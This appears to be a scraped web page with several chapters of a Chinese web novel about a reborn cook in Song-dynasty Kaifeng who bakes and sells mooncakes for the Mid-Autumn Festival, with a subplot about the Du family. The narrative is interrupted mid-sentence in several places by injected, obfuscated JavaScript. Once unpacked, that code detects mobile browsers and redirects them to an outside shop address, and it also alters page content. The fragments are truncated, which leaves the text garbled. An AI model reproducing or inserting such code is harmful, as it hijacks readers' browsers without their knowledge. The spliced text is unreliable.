姜宝珠立马保证中秋当日熬羹时一定将头汤奉上，且捎送一碟招牌煎角儿后，杜衙内才勉强应下，带上小厮儿悻悻离开。 又等了一会儿，镖头打发人送来空锅，姜宝珠才带着哈欠连天的琦姐儿回家。这是她们做生意以来收摊最迟的一日。 坐在梳妆台前将粉丝羹和煎角儿的成本利润又细细算了一遍，姜宝珠才满意地吹灯睡下。 睡得晚，起床便比往日迟了些。 迷迷瞪瞪走出厢房，姜宝珠眨眨眼，困意顺时消散。 院中有人在哭。 轻手轻脚走过去，她瞧见阿娘正坐在堂屋掩面低泣。琦姐儿靠在她身旁，也是一脸愁容。 余光瞥见姐姐，她又轻声安慰了娘亲两句，拎起水壶走出堂屋。 “琦姐儿，这是怎了？”姜宝珠问。 “大哥哥来信了。”姜宝琦回答道，“说他入了漕帮，已随运船出海了。” 姜宝珠一惊：“甚么？！” 她哥哥离家后南下去了扬州，家里得知后心便放下一半——虽说姜家祖父母和琦姐儿生父早不在，到底是故土，不算举目无亲。 他在一家武行落下脚，来信说做学徒不得闲，想回家探亲不容易。 姜宝珠又问妹妹：“你回信时可提及爹爹被冤污免了职，我大病不起之事？” 这哥哥是个嘴硬心软的，虽说和爹还在置气，可若得知家中遭变故，他绝不会置之不顾。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如今看来，呵呵，这鸡鸭乱飞，也远不及娘子眼泪纷飞让人心慌啊…… 付惜音拿来吃剩的菜叶喂小鸭崽，喂着喂着又忧心起来：“天渐凉，立冬后不会冻着它们吧？” 姜宝珠摇头：“不会。” 它们有羽绒服啊。 看阿娘嘴角噙笑一脸慈爱，姜宝珠直觉这俩鸭子怕是养到老也上不了灶台喽——再说了，两只能熬几回羹啊。 姜宝珠不介意给两只鸭鸭养老送终，可要说养宠物的话，她还是想养只猫或者狗。 上辈子独居十几年，养猫狗的念头冒出来多少次，就被硬生生摁下去多少次。她工作忙，出差是常事，生活很不规律，情绪还总容易焦虑——如此飘摇伶仃的人生，如何能对另一条生命负责呢？ 如今…… 姜宝珠扭头看一旁喂鸭崽的阿娘和小妹，又看墙边正垒砖做鸭窝的老爹，最后打量已然发出嫩芽，绿意盎然的菜地。 如今，她再也不是无父无母的“野人”了。 唤做“家”的地方稳稳托住她，她也愿意慢慢敞开心肠和手臂，试着托住或者拥抱旁的什么…… 思及此，姜宝珠磨蹭到墙边，试探性地扯了扯老爹衣角：“爹爹……女儿想聘只狸奴回来，如何？” 19. 中秋小饼 宋人蛮有生活情趣的，喜爱焚香点茶，挂画插花这四般闲事，也有养宠物的闲情逸致。 市间有不少宠物行，姜宝珠早就去看过：除了猫猫狗狗这类常规宠物，养鱼，龟，鸟，兔子的也不少，甚至还有养猴，蛇，和鹰隼的。 这其中养猫风行最盛，仪式感也最足。 宋人养猫叫“聘猫”，只听“聘”字，便知有多郑重： 需择吉日，拜猫神，写“纳猫契”——要注明纳猫的日期，写明对猫的期盼，还有记录下猫咪的外貌特征。 跟后世一阵布偶猫火热一阵缅因猫火热一样，大宋如今较流行的是“狮猫”，即通体雪白的长毛猫。 有了纳猫契，再带着盐，柳条穿鱼做聘礼，才能风风光光将猫儿接回家。 猫猫能捕除鼠患，保护书籍，因此不少文人墨客都很偏爱猫，陆游诗中就有写“我与狸奴不出门”，文天祥更是“狱中念猫”。 姜老爹也是读书人，可一听“聘狸奴”，他立马苦起脸：“珠儿莫闹，狸奴若进门，咱家可真要‘鸭飞猫跳‘了！” 姜宝珠连忙道：“我们聘一只温顺乖巧的猫儿便好……” “猫儿天性飞檐走壁，何来乖顺一说？”不知想起什么，姜明远又幽幽叹出声，“哪里是聘狸奴，合该是请尊猫主儿才对……” 姜宝珠不甘心，还想说些什么，付惜音将她拉到一旁，偷偷告诉女儿一件旧事： 她爹爹年少时其实养过一只猫，还是只膘肥体壮，油光水亮的狸花猫。 猫崽小小茸茸一只，总在姜明远温书习字时跳他怀里，就这么抱着长大了。猫儿大了心也野了，夜里总喵呜喵呜叫着要出门。姜明远便随它。 夜猫子总在清晨归家，某一日，忽然扔下一只血糊糊的雀鸟在他床头。 而后几乎每一日，姜明远的床头或者书案上都会出现狸猫的猎物：折翅的鸟，半死不活的老鼠，臭气熏天的蜣螂，甚至还有蛇…… 姜明远实在恐惧这些血淋淋的物事，不堪其扰，只好紧闭自己房间的门窗，任猫儿喵呜喵呜地叫也忍着不开门。 狸猫渐渐便不去找他了，只在房顶院中转悠。 又过了段时间，猫儿连着两日都没回家，姜明远忙出去寻。寻了许久，才在街边发现狸猫僵硬的身子，听人说是给牛车撞的…… “之后你爹爹听养猫的同窗说，猫儿将猎物带回家与人有反哺之意——原来那狸奴并非作弄人，竟是怕你爹饿着。” 付惜音压低声音在女儿耳边：“你爹爹与我讲起这些时，还忍不住淌眼泪呢！” 姜宝珠听罢瞪大眼睛：“原来如此……” 原来爹爹不是不喜欢小动物，而是怕“触猫生情”啊。 付惜音继续安慰女儿，说自己会劝着些。待时机到了，她们姐俩儿直接将猫儿聘回家，他爹爹不情愿也没招——只怕不会不情愿，反要偷着抱呢…… 娘仨就这么一边密谋养猫大计，一边拿过提篮吃点心。 捻起一枚鹅黄定胜糕咬下一小口，付惜音皱起眉：“怎的这般甜……” “不合口味？”姜明远也走过来尝了尝，整张脸都皱起来，“噫，甜腻得紧！” 他又拿起另一种酥饼咬了口，连连摇头：“这又齁咸……唉，郑记几十年老字号，传到如今孙辈手中，生意怕要到头喽……” 姜宝珠将爹娘吃过的两种果子都掰下一块放嘴里。 怎么说呢，看来郑记这几十年确实把钱赚足了，糖在此世间可是贵价，他们还真舍得放…… “娘子莫勉强自己。”姜明远将果子收进油纸，“明儿我从柳记买些可口的。” “莫再费那银钱！”付惜音嗔他一眼，拿回果子，“恁贵的东西，怎好浪费……” 她正想就着茶水吃掉，一旁的姜宝珠抢先提起篮子。 “果子价贵，爹爹心意更可贵。”姜宝珠朝人揶揄眨眨眼，“爹娘稍候片刻，保管都不白费！” “珠儿有何好法子？”姜明远好奇问。 姜宝珠已提着点心往灶房去了。 她的面包窑竣工啦，这包点心正好拿来开火。 这定胜糕是糯米粳米涨发，内包豆沙馅做的，口感松软香甜。姜宝珠将这四块糕饼切片装进木盘。 琦姐儿已将墙边面包窑的火燃起来。 这炉窑基座是吴大郎帮忙造的，上头的火膛是她和姐姐还有爹爹一起做的——足足忙活了两日呢。 先在基座堆一个大大的沙堆，随后混合沙土和泥巴，搓成一个个圆柱土团，再一条条贴沙堆上——要贴三层。 他们三人贴到二更天才完活，累得腰都直不起来，六目相对后，又都嗤地笑出来——这泥巴不止贴在沙堆上，也贴在了他们脸上…… 姜宝珠将定胜糕片送入火膛，拿木板堵住洞口。 灶房中的提篮还余酥饼。她其实不太擅长做甜品类，上辈子开烤箱烘焙通常是为了不浪费食物： 吃不完的馒头揉碎混合鸡蛋液做成面饼，便是上等的披萨饼；吐司片加牛奶日地一声打成糊糊，再揉成形就成了糕饼皮…… 食物回炉经验丰富，姜宝珠回收酥饼也不在话下。 先将酥饼皮馅分离，酥得掉渣的外皮加面粉，水还有酵母和成大面饼，再将馅料铺在面饼上——这梅干菜猪肉馅铺成薄薄一层，就没那么咸了。 面饼卷起来切成剂子，发酵一会儿再上锅蒸一刻钟，喧乎松软的小花卷儿便出锅了。 面包窑里的定胜糕片也恰时烤好——脱干了水分的糕片，看起来有些像后世的饼干。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558019|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜宝珠端出两盘加工后的糕点，阿娘泡好一壶清茶，一家人坐在院中的苹果树下，一同品鉴暖洋洋的晨光。 “咔——” 付惜音咬下烤干的糕片，嚼得嘎嘎作响：“这炙过一遍的定胜糕脆生生，也不过分甜腻了。” “酥饼也是如此，变作蒸卷，竟一点不齁咸了！”姜明远接上娘子的话，又朝女儿玩笑道，“想不到我珠儿不仅厨艺佳，如今还会变戏法？” 姜宝珠扬扬眉：“女儿这是得了阿娘真传。” “此话怎讲？” 姜宝珠歪歪头：“阿娘梨花带雨，果子自会现身咱家。” 琦姐儿咬着花卷吃吃笑出声来。 付惜音面色一赧，作势要捏女儿脸颊：“这皮猴儿，竟敢取笑你老娘！” 姜宝珠笑闹着往爹爹身后躲，手中脆饼落下一小块。 一只小鸭崽立马飞奔过来叼在嘴里，另一只也追来抢食，急得嘎嘎直叫。 看小鸭子围着菜地你追我赶与家人哄笑的脸，姜宝珠忽而忆起后世的一件小事： 那会儿她刚做美食博主，为了一道柴火鸡，特意去农村借了土灶。 那乡村餐馆里的厨师夸她：“姑娘，我瞅一眼就知道——你很有做饭天赋嘞！” 姜宝珠当时不以为然：做饭还有天赋一说？ 后来，在与炉灶作伴的日日夜夜中，她总会想起这句话，并开始思考：做饭的天赋，到底是什么呢？ 是对美食的热忱？ 还是有一条味觉灵敏的舌头？ 亦或者，是能精确把控食谱中那些“少许，适量”等模糊字眼？ 直到某一日，一个出差回家的深夜，煮下一碗鸡蛋面吃干净后，她蓦地就明白了： 在很多次开火关火间，她悄无声息地拯救过崩溃的自己很多次。 端上桌的不是什么美味大餐，只是一碗热面，也能给自己活着的确定感。 ——看，我在认真吃饭。 在这个旷然孤独的世间，我依旧在努力地，具体而微地生活。 做饭的天赋，或许就是在一餐一饭间，汲取力量与幸福的能力吧。 如今，望着坐在一起分食花卷的家人，姜宝珠又补了一句： 也是将这份幸福与力量传递给旁人的能力…… “……哎，郑记那饴糖小饼，如今可有卖？”付惜音将最后一页糕片吞下肚，问自家官人。 “今日卖光了。”姜明远回答道，拿起连吃的第三梅花卷，“想是中秋将至，买的人多了些——那小饼形似满月，与中秋正应景。” 中秋小饼，形似满月？ 姜宝珠后知后觉，猛吸一口气。 ——对啊，中秋快到了。 合该做些月饼，拿去摊上卖啊！ 20. 四种月饼 宋朝其实并无“月饼”一说，类似糕点倒不少——方才阿娘说的郑记那酥皮糖馅的圆形小饼，姑且算月饼前身吧。 这种圆形小饼非中秋限定，平时也会售卖。细想起来，宋人的中秋餐桌上似乎还没有节令专属点心，只买些圆圆烤饼，漂亮的梅花糕装点饭桌。 那，若是能结合现下的中秋文化，将后世口味各异的枣泥月饼鲜肉月饼凤梨月饼莲蓉蛋黄月饼都做出来的话…… 姜宝珠两眼放光，已然看见市场的一大片蓝海。 她腾地站起来，快步移到墙边的面包窑前。 这面包窑做得好啊，正好派上大用场：一次就能出大几十个月饼，妙极了！ 炉膛里火苗渐渐燃尽，姜宝珠的脑袋也冷静下来一点： 且不说能否找到椰蓉奶黄凤梨这般食材，光是糖霜黄油她怕是都买不起。 听郑婶子说，那鲜奶售价高达三百文——不是一斤，只一小罐哦！ 这月饼如何做，做什么，还得从长计议…… 姜宝珠回厢房翻了翻钱袋子：辛苦摆摊这些日子，她已攒下近十五贯。 揣上全部身家，叫上琦姐儿，二人风风火火出了门。 先将城内有名的几间果子行逛过一遍，又去杂货铺与盐行看了看，姜宝珠心里便有了底： 此间根本没有黄油，中式糕点起酥用的是猪油或植物油，这些成本她完全可以负担。 至于糖，大宋没有白砂糖，昂贵的固体蔗糖糖霜一般果子行也用的很少。甜味剂主要用液体沙糖，蜂蜜，以及价格低廉的饴糖。 姜宝珠很快列出食材清单：各类糖，蜂蜜，苏麻油，猪板油，面粉，糯米粉，碱面。 有了这些，不管是广式月饼的油皮，还是苏式月饼的酥皮油酥都能做出来。 月饼口味众多，要做什么馅的呢？ 姜宝珠首先定了豆沙馅，豆沙这边寻常果子糕点的常见馅料，大众接受度高，且算基础款； 其次是鲜肉月饼。有喜欢甜口的就有爱咸口的，作为咸味派系月饼代表，姜宝珠对鲜肉月饼很有信心。 最后，她还想做一款桂花茶香月饼。宋人爱花好茶，一款飘着花香茶气的月饼应该能完美戳中他们心巴。 而且桂花本就是中秋文化的一部分，很应景。 于是买了红豆，猪肉，还有茶粉。而后，姜宝珠又去了鸡鸭行。 大宋已经有滋滋冒油的咸鸭蛋了，多做下饭的小菜，往糕点里加很少见。 将咸蛋黄包进豆沙里，后世稀松平常，但对宋人来说应该还挺新鲜的。 何况咸鸭蛋价格不很贵——鸡蛋的两倍，算性价比很高的原料了。 一百多个鸭蛋用灶车装回家，姜宝珠又去买了些性价比很低的东西——得郑婶子仙人指路，出城门再走半刻钟，在近郊寻到一家养水牛的庄户。 水牛产-奶量比不上奶牛，不过姜宝珠需要的也不多——最后以四百文价格定下两小罐鲜奶。 该花花，该省的也得省，桂花姜宝珠就没买——回家路上与琦姐儿边走边采，开的正好的桂花收集了香喷喷一小袋，风干后便是极好的原料了。 最后，姜宝珠又去了趟木器铺，与葛老伯加急定制了一些月饼模具： 有月桂玉兔的图案，有带“中秋佳节”，“花好月圆”字样的，还有牡丹秋菊等花纹，以及专门为鲜肉月饼准备的印章。 一切准备就绪，距中秋节还有五天，姜宝珠紧锣密鼓忙活起来。 最先做的是豆沙蛋黄馅。生咸鸭蛋取蛋黄很容易：鸭蛋直接磕在打包用的小提篮里，蛋清自然会漏下去，没一会儿就得到满满一篮子蛋黄。 取出的蛋黄喷点白酒去腥，放进面包窑烤一烤就能用了。 相比之下，做豆沙就麻烦多了：泡过一晚的红豆煮到熟透，一捻就碎。没有破壁机，姜宝珠只能以纱网慢慢筛出豆沙。 筛好的豆沙回锅，加饴糖与油慢慢炒，炒到胳膊都抬不起来，一锅大绵密的豆沙馅就做好了。 豆沙揉圆再压扁，将咸鸭蛋黄一个个包进去，大小要均匀些，卖相才好看。 碱面和清水融合成枧水，蜂蜜和沙糖混合成糖浆，再加苏麻油便是标准的糖油混合物。待糖油乳化后加面粉，揉到没有干粉后就能做月饼皮了。 月饼皮没什么延展性，不能扯拽，包住豆沙蛋黄馅后得一点点推着往一处收拢，直至封口。 如此封口后得到一个大圆子，放面粉里滚一圈，进模具。 手掌“啪”地拍下去，一个带着“花好月圆”字样的精致小饼便应声掉下来。 头一回做月饼，姜宝珠第一炉只试烤了两枚——天知道她这决定有多英明。 一刻钟后，出窑的两个月饼好似三月没下雨的菜地，全部都裂开来。 抓耳挠腮地又试了两回，姜宝珠才摸到门道：进窑前月饼上喷一点水防止干裂，烤一刻钟后再刷一层蛋黄液——这是为了上色，最后再烤五分钟，这月饼才算竣工。 相较广式月饼，姜宝珠做鲜肉月饼更拿手些。鲜肉馅的制作与煎角儿馅差不多，她又添了些芝麻。 鲜肉月饼层层起酥的关键在于油酥，做油酥也叫“擦油酥”，这“擦”顾名思义：白花花的猪油加两倍面粉，手掌根摁上去在案板上反复摩擦，直至成团。 水油皮也不难做，猪油加三倍面粉，再加糖，开水和面即可。 松弛好的油皮将油酥整个包起来，擀成一个大面饼，叠被子一样叠起来，“被子”卷成长条卷，再分成一个个小剂子，擀开后将肉馅包进去。 鲜肉月饼同样试烤两枚，一出窑姜明远就拿走了。 姜宝珠赶紧联合琦姐儿将爹爹驱出灶房，否则这鲜肉月饼怕还没出摊就都进了爹娘肚子。 豆沙蛋黄月饼与鲜肉月饼预计各做一百五十枚，豆沙馅还能剩下些，正好用来做桂花茶香月饼。 与后世泡茶叶不同，宋人不论点茶，还是炫技斗茶，作茶百戏，用的都是茶饼研磨而成的茶粉。 姜宝珠花六百文买来的茶粉虽比不上龙井，也是上等绿茶了。 与做豆沙蛋黄月饼一样，只是面粉中添些茶粉，出来的饼皮便是色调很正的竹青绿。 干桂花揉进豆沙馅，再包进绿皮里，这花茶月饼就做好了。 看着绿皮红馅的月饼，姜宝珠脑子转了个弯，又买了些绿豆回来，同样制成豆沙。 绿豆沙里添茶粉，口味有些像后世的抹茶豆沙包。 干桂花加到做饼皮的面粉里，做出来的饼皮带星点金黄，很漂亮。 无论是绿皮红馅，还是黄皮绿馅，这花茶月饼个个清香雅致，甜而不腻——咱中国人对糕点的最高评价不正是“不甜”么！ 四种口味的月饼试烤都很成功，姜宝珠便开始批量制作了。 这几日除了出摊收摊，她其余时间都几乎都杵在面包窑前。 琦姐儿和爹娘也纷纷加入帮工，一家人总算赶在中秋前一夜烤出四百余个月饼。 豆沙蛋黄月饼是第一批完工的，已经完美回油，姜宝珠松出一口气，又摸了摸腰间荷包。 迄今为止，她都没敢让家里人知晓这月饼的具体成本是多少。 所有食材，定制模具和包装，外加新添的一些厨具，她一共花了将近十三贯钱。 ——十三贯呐！她这些日子统共也就攒了十五贯。 成本如此之高，说是孤注一掷，二次创业都不为过了。 这些月饼明日卖多少钱，怎么卖，她务必要好好思量。 若是像鸭血索粉羹一样卖得不好，那可真要一朝回到摆摊前了。 总不能指望再来一个屠镖头包场吧…… 举头望向天边盈凸月，姜宝珠深深呼吸一口气——呼出忧愁的焦灼，便长了些摩拳擦掌的心头气： 别怕，来嘛！ 她既能从无到有，便不惧从有到无，且放手一搏。 都说搏一搏，单车变摩托。 那她赌一赌，食摊变小铺！ - 金梁桥西，梁门附近。 毗邻皇家园林金明池一带，豪宅贵府云集，杜宅的“传芳园”便是其中一座。 每年谷雨前后牡丹盛季，杜家会开放私人庭院十日，届时不少文人贵客，名门闺秀都会来赏花游玩。 据说这传芳园中百花齐放，争奇斗艳，更有难得一见的极品牡丹王。 如今立秋百花杀，可杜宅院中依旧花团锦簇，一步一景。 杜琮穿过花枝摇曳的后院踏入前厅。眼见四下无人，他心头一喜，加快脚步—— “琮哥儿！” 身后有人喝出一声，声含愠意：“又上哪儿去啊？” 杜琮懊恼阖眼，转过身恭恭敬敬行过一礼：“父亲。母亲。” 厅中立着一架巨型紫檀屏风，有二人从后正缓步而出。 杜父默然怒视儿子，他身侧的沈氏先开口了：“今儿可有贵客来，你万不能如上回那般缺席了！” “娘，孩儿知轻重。”杜琮绕开父亲走到母亲身侧，“孩儿只去那州桥走一遭，片刻便回席面。” “你去州桥作甚？”杜父怒道，“可是又拐去那绣巷，去醉千楼？” “爹，非也！”杜琮连忙叫道，“孩儿是要去那夜市——” “是去夜市扑卖，还是又要去促织啊？”① 一道清冽女声自屏风后响起，语气平静，不怒自威。 杜家二老立时松了口气。 杜琮却好似老鼠碰上猫，整个人都蔫下来：“大姐姐……” 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568803|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人自屏风后闪出。这巨大屏心并非刺绣或绢画，而是用深浅不一的天然木材拼接而成，细细雕琢出牡丹花期的盛景：从初绽到盛放，再至凋零，无一不巧夺天工，栩栩如生。 此刻，这满屏的天工牡丹竟全然失色——杜克柔头上簪的那朵，可是一株三色的珍品花王。 女子气场比花王还盛，嘴角虽噙笑，眸子却含着霜。 “你如今可是出息了，八百贯买块石头回来，是能镇宅还是能生金？” “甚么石头？那可是马价珠！②”杜琮不服驳道。 杜克柔冷冷一眼睇过去，他又立马缩起脖子，讨好似地凑到长姐身边：“阿姐，我这不是看中马价珠衬你气质嘛，那珠儿色沉如夜，正配你执掌家业的威严！” 杜克柔冷呵出一声：“衬我气质？那怎巴巴地与付姑娘送去了？” “付姑娘？可是醉千楼那位行首？”杜父扬手就要打儿子，“你这孽障——” “父亲放心，付姑娘没收。”杜克柔绕开往她身后躲的弟弟，施施然落座。 “那位付姑娘才华横溢，往来无白丁。琮哥儿这等自是不入她眼的。” “……” 杜父深深叹出一口气，显然没被宽慰到。 “谁说的？”杜琮很是不服，“我虽不曾和付姑娘谈诗论词，可我们前几日才辩过哪家果子滋味最好——付姑娘直夸我会吃呢！” “……” 杜克柔在心里叹一句“憨子”，慢条斯理呷一口茶：“今儿中秋，那付姑娘定是没空和你论吃的。你且安稳呆在席面上吃罢。” “阿姐冤我！我今儿真不去醉千楼，是要去寻姜娘子。” 杜克柔蹙眉：“姜娘子又是何人？” “正是那做双玉角儿的姜娘子啊。阿姐你可知，她做羹也是一绝！” 杜琮坐到长姐身侧，兴冲冲讲起来：“我和她讲好今儿留头汤与我，那鸭羹香飘十里，想必滋味——” “闭嘴。”杜克柔淡声打断他，直接抛出最后通牒，“你今儿哪儿都不准去，若敢踏出宅门半步，仔细你的腿！” 杜琮嚯地站起身，高声：“纵是打断我的腿，我也要润兔背我去买羹！” “琮哥儿好志气。”杜克柔笑赞道，“下月例钱便减半罢。” “你——阿姐怎能如此蛮横！” 杜克柔抬手轻抚鬓间三色牡丹：“例钱全扣。” “娘！”杜琮转头搬起救兵，“您瞧大姐姐——” 沈氏撇开眼瞧案上的青釉瓶，又瞧屏风雕纹，就是不瞧女儿。 杜父忽而对坐下的金丝楠木椅来了兴致，垂首一味摩挲扶手。 “……” 孤立无援，杜琮幽怨地瞪了长姐一眼，重重“哼”出一声，拂袖而去。 这琮哥儿虽纨绔浪荡，可他这一走，方才还算热络的气氛立时冷下来。 杜父感慨自己教子无方，一边叹着气走了。没一会儿，沈氏也说要去查看席面，搁下茶盏离开了前厅。 杜克柔始终微笑回应着双亲，面色淡淡不辨喜怒。 盏中白色茶汤见底，她轻声启唇：“春兰。” 身姿挺拔的婢女小步轻盈而来：“大姑娘。” “可问出什么来？” “姑娘也知道润兔是个嘴极严的。”春兰答道，“不过听羊舌说，二公子前几日确实到处寻甚么羹……” 杜克柔眉心微动。 莫不是真冤了那混球？ 她又问：“那位姜娘子又是怎么回事？” 春兰也不很清楚：“州桥夜市摆摊一厨娘，润兔见过一面，据说手艺还不错罢……” 摆摊的厨娘，手艺还不错？ 润玉般的釉盏在手中转过一圈，杜克柔道：“今日中秋席面上有何菜色？” 虽不明白自家姑娘怎就忽地转了话头，春兰还是老老实实回答：“老爷重视贵客，席面都是按大宴规制备的，备了十五盏酒，每饮一盏上一道菜，共三十道：有羊舌签，沙鱼脍，奶房玉蕊羹，蛤蜊生——哦自然还有蟹酿橙！” 说起吃，春兰滔滔不绝，神采奕奕：“如今正是食蟹的时候，姑娘不知，那平江府快船运来的螃蟹，个个有两个巴掌那般大，蟹黄满的快溢出来不说，有的竟连蟹爪都滴黄油呢！” 杜克柔听罢眼睫动了动，轻笑出声：“真是奇了。” 她叹的不是这肥美大螃蟹，而是这满桌珍馐，奢华盛宴近在眼前，那贪嘴的混球竟还念念不忘一碗桥头羹。 甚至连醉千楼都抛之脑后…… “通知马房，备轿辇。” 春兰一惊：“姑娘要出门？去哪儿啊？” “咱也去瞧瞧夜市的热闹。” 杜克柔黛眉一挑，起身：“还有，那手艺不错的姜娘子。” 21. 嚼月小饼 中秋当日，方婶子清早便到了姜家。 有了勤快帮手，姜宝珠不到一时辰便做好三大锅鸭血索粉羹。方婶子那俩儿子身壮如牛，轻轻松松将羹送去镖局。 方婶子得了三百帮工钱，俩孩子得了四个新奇又美味的月饼，一家人开开心心归家去。 将人送至巷口，姜宝珠抬头看了眼晌午的日头。晚上要买的月饼早就准备好了，她今儿竟偷得半日闲。 做什么好呢？ 当然是过节呀。 在大宋，中秋是个堪比春节的盛大节日，晚上他们定是没空赏月的，白日闲暇，一家人也能自寻其乐。 姜明远一早就去了市集，买来石榴，葡萄，秋梨等应季水果，还给女儿们买了两个又大又亮的兔儿灯。 姜宝珠将玉兔灯挂在苹果树下，付惜音端来切好的水果和月饼，又泡好一壶桂花茶。 茶香和豆沙甜在口中蔓延开来，姜宝珠第一次对“节日”有了实感——过节的重点原来不在于吃什么，买什么。 而是和家人在一起的时光…… 连吃两块花茶月饼，并强行分走自家官人半块鲜肉月饼后，付惜音忽而来了兴致，将妆奁从厢房里抱了出来。 她珠姐儿打摆摊后又忙又累，都不像从前那般热衷打扮自己了，日日只顶着个懒髻，夜里睡觉都懒得散开。 看着女儿乖乖坐在小凳上，一头青丝垂于腰间，付惜音一时恍惚，仿佛又回到珠姐儿年幼时躺在自己膝上，撒娇唤阿娘梳头的日子了…… 阿娘心血来潮打扮自己，姜宝珠也没闲着，也抓过琦姐儿摁在身前。 这给小妹梳头，就跟给暖暖换装一样好玩。 琦姐儿平时梳双丫髻，姜宝珠想给人换点花样，奈何手残，好好一个螺髻，最后竟硬生生梳成懒羊羊同款发型。 小妹对她也是真爱，照完铜照子后一点没嫌弃，还美滋滋回房换了身明黄的漂亮褙子。 相比之下，阿娘善女红的手简直巧夺天工，没一会儿便给姜宝珠梳了个飞天髻出来。 看着铜照子里悬空托顶的三个发环，姜宝珠一下想到老版《西游记》里那些白雾腾腾的天宫仙子。 她也赶快回房换了身齐胸襦裙，又搭天水青色披帛。纱罗环绕肩背柔柔搭上手臂，很有几分仙气飘飘的美感。 见两个姐儿都换了衣裙，付惜音又笑着取出胭脂，在她们眉心处轻点花钿。 “噫——”见俩女儿提起裙摆转圈圈臭美，姜明远故意夸张道，“这还没入夜，怎的嫦娥便凡降咱家了？” 姜宝珠嗤地笑出来：“定是迷路了。‘嫦娥们’此刻该去桥头卖饼才对！” 将玉兔灯挂于布幌前，又将几百枚月饼全部装车，姜宝珠还没忘拿上食盒打包的一大碗鸭血粉丝羹——既答应了那杜衙内，自是不能食言的。 她们出门比往日早了半个时辰，也幸而早了这许久。 走到巷口看见乌泱泱的人头，姜宝珠目瞪口呆——全汴京，不，全大宋的人仿佛都聚到这夜市来了！ 不止是接上人多，稍微好一点的酒楼食肆更是人满为患，食客们早早占据便与观月的好位置，那富贵人家更是在酒楼搭起拜月台，主打一个沉浸式赏月。 不知是哪位贵客正在樊楼顶阁宴客，琴鼓声在近百尺的高台上响起，仿佛有仙乐从云端飘来。 天上纷扰，地上更热闹。全城的卖货郎担着扁担出动，不少女子手上都提着花灯，小孩更是人手一只兔儿爷泥塑。 推着灶车人挤人地来到桥下，姜宝珠眼前又是一亮——中秋节也是燃灯夜，数不清的羊皮小水灯在河道中汇成星河，与天上圆月交相呼应。 桥上食客众多，摊儿却比平日少，方婶子一早便说今日过节不出摊，对面卖索饼的俩摊主也没来。 当然，也有不少像姜宝珠这般想趁过节赚一笔的。 “桂花饮子嘞——桂花新酿的香饮子嘞！”那卖饮子的李大手正奋力吆喝着，“小娘子喝丹桂如花似玉，官人们饮金桂蟾宫折桂！” 看着李大手殷勤地盛出一罐罐橙黄桂饮，姜宝珠一时有些失神： 怪不得宋人如此爱花，花可真是个好东西，赏心悦目不说，还能入药入食，妆点鬓发。 秋有金桂，冬有雪梅，三月牡丹红十里，若能遵循花季做出些新奇美味的吃食，保不齐是个来财的好路子。 可能做食材的花品质必须有保证，怕是不好找…… 直到李大手的摊前排起队，姜宝珠才猛然回过神，使劲晃晃脑袋。 ——想什么有的没的呢。 先把今日的钱赚出来才是要紧事！ - “唉——” 欧阳璞第三次唉声叹气时，方羲怀终于受不了了：“我说欧阳兄，莫要扫兴！这中秋佳节的喜气都要叫你叹散了！” 欧阳璞一口气刚提到半空，叹也不是，咽也不好，只讪讪道：“不知为何，总觉着这中秋节味，一年淡似一年了……” 方羲怀瞪大眼：“怎就淡了？哦，我知晓了——” “你莫非觉着，非要像苏大圣人那般望月吟诗，对酒当歌才算过中秋？” 他啧声摇头，又望热闹桥市：“要我说，这熙熙攘攘人间烟火更有一番诗意！路兄，你说是不是？” 路寅没反应，两眼怔然望桥头，口中还喃喃有词：“若非群玉山头见，会向瑶台月下逢……”① “嘀嘀咕咕念什么呢？”方羲怀皱眉，也顺着人视线望过去。 但见灯火阑珊处，一眉眼如画，披帛轻扬的女子如天宫仙子一般笑盈盈立在桥头。 方羲怀眼睛一亮：“哎，那不是——” 他拔腿就朝桥头去，路寅神色一凛，连忙唤他表字：“子义，莫要唐突人家——” 方羲怀已快步到摊前，叉手一礼：“姜娘子别来无恙，可还记得学生？” 切月饼的刀稍顿，姜宝珠抬头见到来人，笑了：“怎会不记得？二位官人连同孙博士，可是奴家的开张食客呢！” “许久未见，想是课业繁忙？孙博士近来安好？” “嗐，姜娘子有所不知，打尝过你那金玉煎角儿，我们便总念着，奈何晚课结束已是亥时，紧赶慢赶过来，娘子你早收摊了！” 方羲怀无不遗憾道，又轻哼一声：“先生倒是口福不浅。” 姜宝珠偏头回忆：“近来……未见博士光顾小摊啊。” “博士日日教引晚课，自是不得空来。”欧阳璞接过话回答，“倒是有同窗家人送来你那银玉蒸角儿，还未来得及吃，便因走神被孙博士罚抄书，角儿也被没收了！” “五枚——”方羲怀的扇骨在空中恨恨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 